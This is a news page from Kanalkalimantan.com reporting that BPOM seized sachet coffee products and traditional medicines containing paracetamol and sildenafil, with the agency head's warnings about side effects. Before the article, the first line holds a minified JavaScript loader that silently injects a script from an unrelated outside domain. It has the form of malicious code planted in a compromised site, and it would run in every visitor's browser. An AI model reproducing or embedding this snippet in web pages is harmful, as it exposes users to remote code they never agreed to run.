(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Badan Pengawas Obat dan Makanan (BPOM) baru-baru ini mengungkap sejumlah jenis produk minuman saset yang mengandung parasetamol dan viagra atau juga dikenal sebagai obat kuat lelaki.
Sejumlah produk tersebut disita karena mengandung Bahan Kimia Obat (BKO) seperti viagra dan parasetamol tadi.
“Bahan Kimia Obat merupakan bahan yang dilarang digunakan dalam obat tradisional dan pangan olahan. Bahan kimia obat seperti Parasetamol dan Sildenafil merupakan bahan yang digunakan untuk produksi obat. Jika tidak digunakan sesuai aturan pakai (dosis), bahan kimia obat ini dapat menimbulkan risiko tinggi dan efek samping yang dapat membahayakan kesehatanâ€.
Dari hasil operasi, secara rinci ditemukan produk jadi berupa 15 jenis (5.791 pcs) pangan olahan mengandung BKO dan 36 jenis (18.212 pcs) obat tradisional mengandung Bahan Kimia Obat.
Baca juga:Â Viral Korlap Aksi Demo Buya Fikri Salah Gerakan Shalat
Ada pun bukti pangan olahan dan obat tradisional yang ditemukan merupakan enam kopi saset dengan merek antara lain, Kopi Jantan, Kopi Cleng, Kopi Bapak, Spider, Urat Madu, dan Jakarta Bandung. Produk-produk tersebut diduga mengandung BKO Paracetamol dan Sildenafil.
“Penggunaan bahan kimia obat Parasetamol dan Sildenafil secara tidak tepat dapat mengakibatkan efek samping yang ringan, berat bahkan sampai menimbulkan kematian. Parasetamol dapat menimbulkan efek samping mual, alergi, tekanan darah rendah, kelainan darah, dan jika digunakan secara terus-menerus dapat menimbulkan efek yang lebih fatal seperti kerusakan pada hati dan ginjal,” ujar Kepala BPOM, Penny K Lukito.
Badan Pengawas Obat dan Makanan (BPOM) menemukan obat tradisional dan pangan olahan atau seperti kopi yang mengandung Parasetamol dan Sildenafil. Foto: bpom
Sedangkan Sildenafil dapat menimbulkan efek samping mulai dari yang ringan seperti mual, diare, kemerahan pada kulit, hingga reaksi yang lebih serius seperti kejang, denyut jantung tidak teratur, pandangan kabur atau buta mendadak, bahkan dapat menimbulkan kematian.
“Nilai keekonomian barang bukti ini diperkirakan mencapai 1,5 miliar rupiahâ€, ungkap Kepala Badan POM.
Baca juga:Â Ajang Kejurda Karate Shoto-kai Dibuka, Wakapolda Kalsel Disematkan Sabuk Hitam
Badan POM sebelumnya telah melakukan pemantauan dan analisis terhadap penjualan online produk pangan olahan mengandung BKO dengan merek Kopi Jantan pada periode Oktober–November 2021.
Hasil pemantauan tersebut menunjukkan penjualan produk tersebut memiliki nilai transaksi rata-rata sebesar 7 miliar rupiah setiap bulannya. (Kanalkalimantan.com/Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.